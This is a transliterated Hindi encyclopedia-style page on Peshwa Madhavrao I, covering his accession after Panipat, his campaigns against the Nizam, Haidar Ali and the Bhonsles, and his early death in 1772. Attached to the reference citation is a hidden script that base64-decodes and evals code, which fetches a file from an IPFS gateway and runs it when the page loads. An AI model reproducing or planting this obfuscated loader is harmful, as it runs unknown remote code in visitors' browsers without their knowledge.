माधवराव प्रथम

• madhavarav pratham (1761-1772 ee.) peshava balaji bajirav ka doosara l daka tha.
• panipat ke tritiy yuddh mean marathoan ki bhayanak parajay ke bad vah peshava bana tha. us samay usaki umr keval 17 varsh thi.
• prarambh mean usaka chacha raghunatharav usaki or se shasan karata raha, parantu shighr hi usane shasanasootr apane hath mean le liya.
• dhire-dhire usane panipat ki har ke phalasvaroop peshava ki khoee huee satta aur pratishtha phir se sthapit kar di.
• nizam ko do bar parajay ka muanh dekhana p da aur peshava ki shakti to d dene ka usaka prayatn viphal raha.
• maisoor ka haidar ali bhi, jisane dakshin mean marathoan ke ilaqoan par dakhal karana shuroo kar diya tha, do bar parajit hua.
• barar ka bhoansala raja bhi, jo peshava ke viruddh nizam aur haidar ali se sangathan kiye hue tha, parajit hua aur usane peshava ki adhinata svikar kar li.
• peshava madhavarav ko sabase b di saphalata uttari bharat mean mili, jahaan 1771-72 ee. mean usaki sena ne malava tatha bundelakhand par phir se adhikar kar liya.
• rajapoot rajaoan se chauth vasool ki gee, jatoan aur ruheloan ka bhi daman kiya gaya.
• dilli par phir se dakhal kar liya gaya aur bhago de mugal badashah shahalam dvitiy ko, jo ilahabad mean eest indiya kampani ki penshan par jivan vyatit kar raha tha, phir se dilli ke takht par baithaya gaya.
• aisa pratit ho raha tha ki, panipat ki tisari l daee ke phalasvaroop marathoan ki shakti ko jitani kshati pahuanchi thi, us sab ki bharapaee kar li gee hai.
• isi samay achanak 1772 ee. mean mahanh peshava madhavarav pratham ka dehant ho gaya.
• is bare mean 'grant daf' ne likha hai ki, 'maratha samrajy ke lie panipat ka maidan utana ghatak siddh nahian hua, jitana is shreshth shasak ka asamayik dehavasan'.
• madhavarav pratham ki mrityu ke pashchath 18vian sadi ke antim tis varshoan ka maratha rajy ka itihas 'mahadaji sindhiya' (mahadaji shinde) aur nana ph danavis ki gatividhiyoan ka varnan hai.
• mahadaji uttar mean tatha nana ph danavis dakshin bharat mean prabhavashali rahe.
• maratha peshava keval namamatr ka adhikari rah gaya aur maratha netaoan mean shakti ke lie sangharsh hota raha. jisaka poora labh aangrezoan ne uthaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 358.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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